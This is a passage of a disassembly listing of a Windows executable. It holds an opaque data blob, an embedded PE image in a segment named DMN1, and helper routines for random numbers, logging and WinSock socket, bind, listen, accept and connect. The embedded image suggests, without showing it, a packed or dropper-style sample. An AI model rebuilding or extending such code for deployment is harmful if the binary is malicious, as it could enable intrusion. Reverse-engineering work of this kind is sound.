dd 0DE344A7Dh, 0DB4DEF8Eh, 0C427E8F0h, 0D743617Fh, 7BF843B1h
dd 0CDB22585h, 0B9EF3795h, 3445BAFFh, 0D677402Ah, 0A688AF7Fh
dd 0A2418658h, 8E3CDC7Eh, 33FEDA5Fh, 5D30BA44h, 0A2CDBC5Eh
dd 16CA8540h, 0EE3E52F0h, 5BD277D1h, 0D4CC007Bh, 1D5C5C83h
dd 0D9E43EB6h, 3888C649h, 0F4B601B8h, 45CE7768h, 92E25099h
dd 1C7493D7h, 54ACD39Ch, 0EC4E2F5Dh, 25ACAC93h, 813A27B9h
dd 0CD6FF4DFh, 1E31490Bh, 37730BB8h, 94209AC0h, 0D39A397Dh
dd 3B2FD389h, 0E204ABC6h, 8E5558C0h, 0F0F6E154h, 419FCAA9h
dd 709CE5DAh, 67871D70h, 8F32F9EDh, 0C6E4C03Ch, 0EC62FADEh
dd 2FAFD8DBh, 88F4A92Dh, 0C2DCD6BDh, 2641D9Bh, 15566085h
dd 0D0CC0725h, 2EC802EAh, 0B9D62292h, 0D79F40B9h, 0A2DB9878h
dd 0F7CE1EB8h, 0DE3C3033h, 0DD698DC5h, 0CB05D7CBh, 2A3E9C7Ch
dd 0E0C26FD2h, 5C5A3051h, 5A253158h, 0E00DE29Ah, 57FCA299h
dd 50D37335h, 9ED6400Ah, 129DDB94h, 0C97F87E9h, 35A081CCh
dd 0AAC9C457h, 0CF2F5DBEh, 4685165Ch, 39B2D4E8h, 48E348FEh
dd 6EACBD41h, 0BC3E67FDh, 0E7001819h, 0A5BFFD41h, 958DA33Dh
dd 8143324Ch, 5ED90B6Bh, 33F3A2BBh, 0A8322EBEh, 0D3BD3337h
dd 0F231450Ah, 65B6E835h, 42467CCBh, 0D9256C90h, 0C223D64Fh
dd 66A54449h, 628AF47Bh, 9FDCA534h, 2548D94Fh, 0CFEB4626h
dd 48520FF4h, 2911940h, 86D61FE5h, 0BB41D739h, 37A12BF2h
dd 8DE0C20Bh, 6556747Fh, 5B2409C4h, 5E524762h, 0EDD82FCAh
dd 53A55C76h, 9DFD0DE6h, 2444AEF2h, 44A7C99Fh, 0BFEAAC5h
dd 31E231B4h, 972EA85Fh, 5F094FCh, 7E2C55EEh, 0E81A60Dh
dd 0FF77922Fh, 3D51369Ch, 0F6F87247h, 0FF532097h, 8655BB59h
dd 0BD965E3Bh, 297DB5A4h, 0A2C64206h, 5BAC10B4h, 3BC5EC69h
dd 1B736A64h, 695A5D6Ch, 886C015Bh, 0A3F02C79h, 0E480538Ah
dd 0AE7ED472h, 0FBB5BE5h, 24C5C785h, 77444D09h, 5FBB395Dh
dd 0B8C1E845h, 192755CAh, 0CCA2BEDEh, 8D659484h, 0AE11E270h
dd 29546EB0h, 824CE1E4h, 5388E36h, 37062ECCh, 0FA1440CDh
dd 0CD2BFA8Fh, 8B5D47DBh, 0E71A03E3h, 59B3683Ch, 5B29EBBBh
dd 53CA14EAh, 1CE9CF88h, 7CC06CB0h, 76416C40h, 3AE00F03h
dd 905FC726h, 81467585h, 78922AC4h, 0CA24CB4Dh, 0AFE030DBh
dd 7EBB18EFh, 0F0F3338h, 0F203983Ch, 2AD0E79Eh, 672BEE23h
dd 386AA7FBh, 0F25F642h, 92B1B546h, 0C1950DFAh, 8D40F6C1h
dd 0F2728F48h, 51A541A2h, 6B69D6A0h, 0E5157686h, 0E48D02B7h
dd 2D7B6C64h, 0D4BC83C9h, 5E97F8A6h, 0AA829ADEh, 724600A4h
dd 0DA6BB583h, 0E92C2D5Bh, 7DA4543Fh, 98762F76h, 0B16FEE54h
dd 1EF5A5C2h, 17B2C3DEh, 1E1A372Fh, 0A4E38CCEh, 7621FA49h
dd 5F2E6883h, 4CCCC5h, 0E94FC658h, 2E8D588Eh, 0B0893983h
dd 0C25D8505h, 44B9A0F1h, 0A382A041h, 234E62FBh, 0F64A186Dh
dd 5AEB1FA9h, 13F11F9Ah, 91A1D3F9h, 1E5FF9F6h, 4948D7C3h
dd 0D1C2ECA9h, 0D9661363h, 0B38AB38h, 3FA32FDEh, 0CD42B0DEh
dd 47F982Fh, 0FF1ADB2Bh, 776C70E4h, 73F1ABFAh, 0E7FC87B1h
dd 0E343449Ah, 0EB034FE7h, 446C979h, 293C72BEh, 878BD0A5h
dd 194A4645h, 769F3564h, 71B68B9Bh, 0FFE7BD1Bh, 0ADC6BEBCh
dd 1CB551C4h, 5ABFC77Dh, 377C9EA7h, 5C9FBE6h, 57421327h
dd 0C86E8AFDh, 8D82FD99h, 916E5D9Bh, 74B47C60h, 6F89512Bh
dd 0E91A32Ah, 6C47AAAAh, 0CC1A42D9h, 5C82EFC6h, 97914F3Bh
dd 9DFC5287h, 686C1FDCh, 86791221h, 0CC2133Dh, 0AC39D89Fh
dd 318DD515h, 4C1B0E32h, 0CA0313F5h, 5E767C1h, 0FF60AF31h
dd 37F62D47h, 0AEA7996h, 0F17FC32h, 0CF133677h, 33A9838Bh
dd 0A4C150B3h, 0CB977D32h, 33365782h, 1FCAE010h, 0B38BAE4Ch
dd 0CC92A603h, 48D69A16h, 3D8E3589h, 3F05B0C3h, 40CAAA13h
dd 0BB85856Eh, 97CBB2E6h, 91ED8750h, 0ED5F6550h, 3F57EFBCh
dd 0D4DDC5DFh, 0DA85E623h, 3826BA3Fh, 0C900E7F0h, 641BAD35h
dd 0E2BBB27Eh, 4ED8FA42h, 0BD17293Bh, 629122F5h, 4B1878C4h
dd 746F239Dh, 0B8806C46h, 0C679B016h, 1A432D0Dh, 0DF18C760h
dd 2758E2D9h, 0D9FF4B7Fh, 672570B2h, 0FBC04C81h, 38F3B87h
dd 0C3493D34h, 0A6D9E5Ah, 0D40DD18Eh, 0A66C6E8Fh, 0CAE8F9h
dd 774B6CB3h, 1DFBD74Fh, 0DCA3EDE0h, 884B2151h, 4F886A6Fh
dd 0B52294Fh, 5A598DE8h
dd 295F8CC4h, 0F58AB6AAh, 663EB6D2h, 66739747h, 3132AEA4h
dd 0ABF0B0CCh, 0F31B13C1h, 83109989h, 2C2BED51h, 0A59C0A82h
dd 13D700BFh, 58ED8410h, 8618136Eh, 4265BB8Ch, 9C960BFEh
dd 3FD78DFEh, 0B63A66FBh, 0AAA1D947h, 956F7C13h, 13CD7247h
dd 3A38F35Bh, 0F63436C9h, 70661519h, 0C2F39D4Bh, 0F7C6329Ah
dd 82FCF26Ah, 1B09B4F6h, 74AB0329h, 0C1D301B6h, 92A99C8Eh
dd 689300Ah, 0D614BF6h, 82B0BE99h, 90228D12h, 0A6411631h
dd 1C999AF5h, 3CA5821Fh, 4B625464h, 840FF456h, 7172E1A5h
dd 66A249A8h, 76280F09h, 0B412C3B5h, 35DA72A5h, 5B45970Bh
dd 45CC3555h, 7714899Ah, 40C46BEEh, 86A54781h, 0CBABFBFh
dd 9B94FB0Ah, 0A7F39D02h, 6D9DE81Bh, 8E14C68Eh, 0BFC87AE6h
dd 0B8BBCC36h, 7F74BC2Ah, 4BF60A19h, 0A0AFE7D5h, 382A3809h
dd 988B3FBh, 0F3B5B7A4h, 0BED2F31Dh, 0CDF8D46h, 6FFF98DBh
dd 3569B457h, 0B8802639h, 0BF474D75h, 6F86EA35h, 58E7EF2Ah
dd 0CB26469h, 8C47771Eh, 8C36083Dh, 26054F22h, 0E6B45ACAh
dd 0ED2B5013h, 6440C091h, 0E0B240B0h, 0E1D48BAEh, 77AADF93h
dd 527CD143h, 67FBDEABh, 0B807AAA7h, 3CF08173h, 59AC82B3h
dd 3DB277FAh, 1CB4E6DDh, 91A73EAEh, 141D1BE2h, 2E526D04h
dd 0D2F30E95h, 9A93B53Fh, 9FD92567h, 3847FF8Dh, 0F10AE6BEh
dd 0F1D146E6h, 2D320BC5h, 0ECAB5789h, 0D4807F76h, 2D36423Ch
dd 825C2F48h, 19C5024Dh, 25EDAD23h, 34C27EB3h, 8C5F5322h
dd 0A33C0550h, 0B6EAE193h, 7625E3A6h, 2C4FA1Eh, 1AB49Ah
dd 1FB9BB4Eh, 0FED04BBBh, 85CFCC29h, 8F3440F7h, 0CB99E9Eh
dd 984480B5h, 0EDA95887h, 7D9C2E3Dh, 326EF470h, 0D792D1E5h
dd 0BFF5D6ECh, 2DFCEA99h, 0FAD37D28h, 79571274h, 6024643Ch
dd 0FF73037Eh, 4A725D8Fh, 526D4385h, 3FCB7A31h, 0F50FBF25h
dd 0EDA464ECh, 0CD4CA9B4h, 0EE54DDE4h, 0D15BD434h, 3006C18Fh
dd 0FB5DC12Fh, 9917F3FEh, 315BEC1Fh, 5A8F67ACh, 0F9F9F2DEh
dd 12C4B3C7h, 5EC70910h, 1DD81BEBh, 0A86D753Ch, 0C6C68AC2h
dd 3CAF6041h, 4F8AE94h, 99D8BDF7h, 6DBD1644h, 0EBFA059Dh
dd 27E02C6Ch, 801EF98Dh, 49EF5E10h, 4E5B63B6h, 28EE7FEh
dd 0F9EB7A82h, 0B9418C60h, 0E3F1F28Ch, 0FDBB828Ch, 6F5BC03h
dd 0FB087D66h, 2299AC43h, 527A8339h, 87D2C7B2h, 538EF6F1h
dd 0B766C529h, 0E6E34769h, 6CB57B3Dh, 0FC009854h, 62711B86h
dd 0DE23F582h, 96EF1DDh, 3D82E8F6h, 9D866E3Bh, 0FF82CD77h
dd 0EB1090D6h, 5086794Ah, 72B1A092h, 4C923227h, 496E8FFDh
dd 0A114815Dh, 0EF45EAA3h, 0B636B505h, 0CCE8A403h, 0C47F5DB1h
dd 181AEF81h, 0DEBC5D5h, 0C4F9D024h, 51AED849h, 0F99C2C4Bh
dd 0F6FF0FD3h, 9A30525Dh, 0ED230ED4h, 7356AC87h, 0F2B22EABh
dd 37158103h, 82780917h, 7B032DE5h, 0FED3B2EFh, 0DFE6339Ch
dd 0B7B5DDBCh, 19CEC27Eh, 184479C4h, 0BA1A66DFh, 2619990Ah
dd 52DCC0E7h, 5D6EB565h, 9D3B5749h, 0BA6E276Eh, 9F04574Dh
dd 6AF12007h, 3C57F3C5h, 97B29E9Ah, 4546ECA2h, 7E25073Ch
dd 9289FBEBh, 0E3BB21D6h, 8A025D37h, 8B099079h, 0A1E76326h
dd 2E4F91CAh, 0B160F284h, 39738098h, 45C88A90h, 905A4D14h
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd offset dword_455000
dd 4014C00h, 501C800h, 47h, 0
dd 0F00E000h, 2010B01h, 0C60032h, 1B00000h, 0
dd 7AA000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h
dd 400h, 0
dd 400h, 0
dd 2B00000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 11A0C00h, 7800h, 1400000h, 160D000h, 12h dup(0)
dd 11CC400h, 24000h, 6 dup(0)
dd 65742E00h, 7478h, 0C42600h, 100000h, 0C60000h, 40000h
dd 3 dup(0)
dd 2000h, 64722E60h, 617461h, 21AC00h, 0E00000h, 220000h
dd 0CA0000h, 3 dup(0)
dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h
dd 0EC0000h, 3 dup(0)
dd 4000h, 73722EC0h, 6372h, 160D000h, 1400000h, 1620000h
dd 1040000h, 3 dup(0)
dd 4000h, 40h, 79h dup(0)
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_441F82 proc near ; CODE XREF: DMN1:00444FCEp
; DMN1:00445953p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_441F94
; ---------------------------------------------------------------------------
loc_441F8C: ; CODE XREF: sub_441F82+14j
call dword_411CC4 ; GetTickCount
mov esi, eax
loc_441F94: ; CODE XREF: sub_441F82+8j
test esi, esi
jz short loc_441F8C
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
cmp dword ptr [ebx], 0
jnz short loc_441FB0
inc dword ptr [ebx]
loc_441FB0: ; CODE XREF: sub_441F82+2Aj
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_441F82 endp
; =============== S U B R O U T I N E =======================================
sub_441FBD proc near ; CODE XREF: sub_447672+20p
push offset dword_41285C
call dword_411CC8 ; InitializeCriticalSection
retn
sub_441FBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441FC9 proc near ; CODE XREF: sub_4421AB+35p
; sub_442944+Bp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push 1
mov eax, [ebp+arg_0]
push eax
call sub_447CC1
pop ecx
pop ecx
mov ebx, eax
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
mov eax, ebx
pop ebx
pop ebp
retn
sub_441FC9 endp
; =============== S U B R O U T I N E =======================================
sub_441FF7 proc near ; CODE XREF: sub_4421AB+1Fp
; sub_4429BC+Bp ...
arg_0 = dword ptr 4
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push [esp+arg_0]
call sub_448071
pop ecx
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
retn
sub_441FF7 endp
; =============== S U B R O U T I N E =======================================
sub_442018 proc near ; CODE XREF: sub_447672+2Ap
push offset dword_412874
call dword_411CC8 ; InitializeCriticalSection
retn
sub_442018 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
xor esi, esi
cmp dword ptr [ebp+8], 0
jz loc_4420DF
push 0FFFFFFF5h
call dword_411CD4 ; GetStdHandle
cmp eax, 0FFFFFFFFh
jz loc_4420DF
push offset dword_412874
call dword_411CCC ; RtlEnterCriticalSection
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
push 100h
lea eax, [ebp-100h]
push eax
call sub_448141
add esp, 10h
mov ebx, eax
cmp ebx, 0FFh
jbe short loc_4420C1
push 1
lea eax, [ebx+80h]
push eax
call sub_447CC1
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp+0Ch]
push edi
push dword ptr [ebp+8]
lea eax, [ebx+1Fh]
push eax
push esi
call sub_448141
add esp, 10h
mov ebx, eax
push esi
push offset aS_0 ; "%s"
call sub_4481E1
pop ecx
pop ecx
push esi
call sub_448071
pop ecx
jmp short loc_4420D4
; ---------------------------------------------------------------------------
loc_4420C1: ; CODE XREF: DMN1:00442081j
lea eax, [ebp-100h]
push eax
push offset aS_0 ; "%s"
call sub_4481E1
pop ecx
pop ecx
loc_4420D4: ; CODE XREF: DMN1:004420BFj
push offset dword_412874
call dword_411CD0 ; RtlLeaveCriticalSection
loc_4420DF: ; CODE XREF: DMN1:00442037j
; DMN1:0044204Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4420E6 proc near ; CODE XREF: sub_447672+25p
push offset dword_41288C
call dword_411CC8 ; InitializeCriticalSection
retn
sub_4420E6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push ebx
lea eax, [ebp-10h]
push eax
call dword_411CD8 ; GetLocalTime
cmp word ptr [ebp-8], 0Ch
jnb short loc_442111
mov ebx, offset aAm ; "AM"
jmp short loc_442116
; ---------------------------------------------------------------------------
loc_442111: ; CODE XREF: DMN1:00442108j
mov ebx, offset aPm ; "PM"
loc_442116: ; CODE XREF: DMN1:0044210Fj
push ebx
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
mov ecx, 0Ch
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-10h]
mov ecx, 64h
cdq
idiv ecx
push edx
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s"
push dword ptr [ebp+8]
call sub_448241
add esp, 24h
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push offset dword_41288C
call dword_411CCC ; RtlEnterCriticalSection
push offset aA ; "a"
push dword ptr [ebp+8]
call sub_448281
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_44219B
lea eax, [ebp+10h]
mov [ebp-4], eax
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push ebx
call sub_448331
add esp, 0Ch
push ebx
call sub_4484E1
pop ecx
loc_44219B: ; CODE XREF: DMN1:0044217Dj
push offset dword_41288C
call dword_411CD0 ; RtlLeaveCriticalSection
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4421AB proc near ; CODE XREF: sub_447672+4Bp
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
jmp short loc_4421D0
; ---------------------------------------------------------------------------
loc_4421B8: ; CODE XREF: sub_4421AB+2Cj
dec dword_411000
mov eax, dword_411000
push dword_4128A4[eax*4]
call sub_441FF7
pop ecx
loc_4421D0: ; CODE XREF: sub_4421AB+Bj
cmp dword_411000, 0
jnz short loc_4421B8
jmp short loc_44224C
; ---------------------------------------------------------------------------
loc_4421DB: ; CODE XREF: sub_4421AB+ADj
push 401h
call sub_441FC9
pop ecx
mov edx, dword_411000
mov dword_4128A4[edx*4], eax
cmp byte ptr [ebx], 22h
jnz short loc_4421FF
inc ebx
mov [ebp+var_1], 22h
jmp short loc_442203
; ---------------------------------------------------------------------------
loc_4421FF: ; CODE XREF: sub_4421AB+4Bj
mov [ebp+var_1], 20h
loc_442203: ; CODE XREF: sub_4421AB+52j
and [ebp+var_8], 0
mov eax, dword_411000
lea edx, [eax+1]
mov dword_411000, edx
mov esi, dword_4128A4[eax*4]
jmp short loc_442224
; ---------------------------------------------------------------------------
loc_44221E: ; CODE XREF: sub_4421AB+8Bj
mov al, [ebx]
mov [esi], al
inc esi
inc ebx
loc_442224: ; CODE XREF: sub_4421AB+71j
mov al, [ebx]
test al, al
jz short loc_442238
cmp al, [ebp+var_1]
jz short loc_442238
cmp [ebp+var_8], 400h
jl short loc_44221E
loc_442238: ; CODE XREF: sub_4421AB+7Dj
; sub_4421AB+82j
cmp [ebp+var_1], 22h
jnz short loc_442247
cmp byte ptr [ebx], 22h
jnz short loc_442247
inc ebx
jmp short loc_442247
; ---------------------------------------------------------------------------
loc_442246: ; CODE XREF: sub_4421AB+9Fj
inc ebx
loc_442247: ; CODE XREF: sub_4421AB+91j
; sub_4421AB+96j ...
cmp byte ptr [ebx], 20h
jz short loc_442246
loc_44224C: ; CODE XREF: sub_4421AB+2Ej
cmp byte ptr [ebx], 0
jz short loc_44225A
cmp dword_411000, 20h
jl short loc_4421DB
loc_44225A: ; CODE XREF: sub_4421AB+A4j
mov eax, dword_411000
and dword_4128A4[eax*4], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4421AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44226D proc near ; CODE XREF: sub_447672+256p
var_190 = byte ptr -190h
push ebp
mov ebp, esp
sub esp, 190h
push ebx
push esi
mov bx, 2
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_447C2F ; WSAStartup
mov esi, eax
test esi, esi
jz short loc_4422BD
mov bx, 101h
lea eax, [ebp+var_190]
push eax
movzx eax, bx
push eax
call sub_447C2F ; WSAStartup
mov esi, eax
test esi, esi
jz short loc_4422B0
xor eax, eax
jmp short loc_4422CB
; ---------------------------------------------------------------------------
loc_4422B0: ; CODE XREF: sub_44226D+3Dj
push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
call nullsub_4
pop ecx
jmp short loc_4422C8
; ---------------------------------------------------------------------------
loc_4422BD: ; CODE XREF: sub_44226D+23j
push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
call nullsub_4
pop ecx
loc_4422C8: ; CODE XREF: sub_44226D+4Ej
xor eax, eax
inc eax
loc_4422CB: ; CODE XREF: sub_44226D+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44226D endp
; ---------------------------------------------------------------------------
call sub_447C35 ; WSACleanup
xor eax, eax
inc eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4422DA proc near ; CODE XREF: sub_443817+BDp
; DMN1:00444C9Cp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_447C3B ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4422F8
xor eax, eax
jmp short loc_44234E
; ---------------------------------------------------------------------------
loc_4422F8: ; CODE XREF: sub_4422DA+18j
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
mov [ebp+var_4], 112A880h
push 4
lea eax, [ebp+var_4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
mov [ebp+var_4], 1
push 4
lea eax, [ebp+var_4]
push eax
push 8
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
mov eax, ebx
loc_44234E: ; CODE XREF: sub_4422DA+1Cj
pop ebx
mov esp, ebp
pop ebp
retn
sub_4422DA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push 6
push 1
push 2
call sub_447C3B ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_442371
xor eax, eax
jmp short loc_4423D2
; ---------------------------------------------------------------------------
loc_442371: ; CODE XREF: DMN1:0044236Bj
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
imul eax, [ebp+8], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
xor eax, eax
cmp dword ptr [ebp+10h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
mov eax, ebx
loc_4423D2: ; CODE XREF: DMN1:0044236Fj
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+8]
imul eax, [ebp+10h], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1005h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
imul eax, [ebp+0Ch], 3E8h
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 1006h
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
xor eax, eax
cmp dword ptr [ebp+14h], 0
setnz al
mov [ebp-4], eax
push 4
lea eax, [ebp-4]
push eax
push 8
push 0FFFFh
push ebx
call sub_447C41 ; setsockopt
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_442443 proc near ; CODE XREF: sub_44352A+15Dp
; sub_44352A+1B4p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_447C47 ; closesocket
xor eax, eax
inc eax
retn
sub_442443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442450 proc near ; CODE XREF: DMN1:004457B5p
; DMN1:0044582Fp
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
mov ebx, [ebp+arg_0]
and [ebp+var_10C], 0
and [ebp+var_108], 0
and [ebp+var_104], 0
cmp [ebp+var_104], 40h
jnb short loc_442492
mov eax, [ebp+var_104]
lea edx, [eax+1]
mov [ebp+var_104], edx
mov [ebp+eax*4+var_100], ebx
loc_442492: ; CODE XREF: sub_442450+2Aj
lea eax, [ebp+var_10C]
push eax
push 0
push 0
lea eax, [ebp+var_104]
push eax
push 0
call sub_447C4D ; select
mov esi, eax
cmp eax, 0FFFFFFFFh
jz short loc_4424BD
test esi, esi
jnz short loc_4424BA
xor eax, eax
jmp short loc_4424BD
; ---------------------------------------------------------------------------
loc_4424BA: ; CODE XREF: sub_442450+64j
xor eax, eax
inc eax
loc_4424BD: ; CODE XREF: sub_442450+60j
; sub_442450+68j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_442450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4424C3 proc near ; CODE XREF: sub_4434E3+13p
; sub_44352A+1F5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
lea eax, [ebp+var_4]
push eax
push 4004667Fh
push [ebp+arg_0]
call sub_447C53 ; ioctlsocket
mov ebx, eax
cmp eax, 0FFFFFFFFh
jz short loc_4424E3
mov eax, [ebp+var_4]
loc_4424E3: ; CODE XREF: sub_4424C3+1Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_4424C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4424E8 proc near ; CODE XREF: sub_44352A+14Ep
; sub_443817+DBp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_447C59 ; htons
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_447C5F ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_442530
xor eax, eax
jmp short loc_442533
; ---------------------------------------------------------------------------
loc_442530: ; CODE XREF: sub_4424E8+42j
xor eax, eax
inc eax
loc_442533: ; CODE XREF: sub_4424E8+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_4424E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442538 proc near ; CODE XREF: DMN1:0044598Fp
; DMN1:00446CA2p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_10], 2
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
movzx eax, [ebp+arg_8]
push eax
call sub_447C59 ; htons
mov [ebp+var_E], ax
lea ebx, [ebp+var_10]
push 10h
push ebx
push [ebp+arg_0]
call sub_447C65 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_442580
xor eax, eax
jmp short loc_442583
; ---------------------------------------------------------------------------
loc_442580: ; CODE XREF: sub_442538+42j
xor eax, eax
inc eax
loc_442583: ; CODE XREF: sub_442538+46j
pop ebx
mov esp, ebp
pop ebp
retn
sub_442538 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442588 proc near ; CODE XREF: DMN1:00445AB9p
; DMN1:00446CBFp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 5
push [ebp+arg_0]
call sub_447C6B ; listen
test eax, eax
jge short loc_44259D
xor eax, eax
jmp short loc_4425A0
; ---------------------------------------------------------------------------
loc_44259D: ; CODE XREF: sub_442588+Fj
xor eax, eax
inc eax
loc_4425A0: ; CODE XREF: sub_442588+13j
pop ebp
retn
sub_442588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4425A2 proc near ; CODE XREF: DMN1:00446CDAp
var_14 = dword ptr -14h
var_10 = word ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_10], 2
mov [ebp+var_14], 10h
lea esi, [ebp+var_10]
lea eax, [ebp+var_14]
push eax
push esi
push [ebp+arg_0]
call sub_447C71 ; accept
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4425E5
xor eax, eax
jmp short loc_4425E7
; ---------------------------------------------------------------------------
loc_4425E5: ; CODE XREF: sub_4425A2+3Dj
mov eax, ebx
loc_4425E7: ; CODE XREF: sub_4425A2+41j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4425A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4425ED proc near ; CODE XREF: DMN1:00445AD1p
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
and dword ptr [edx], 0
mov word ptr [ebx], 0
push 10h
push 0
lea eax, [ebp+var_10]
push eax
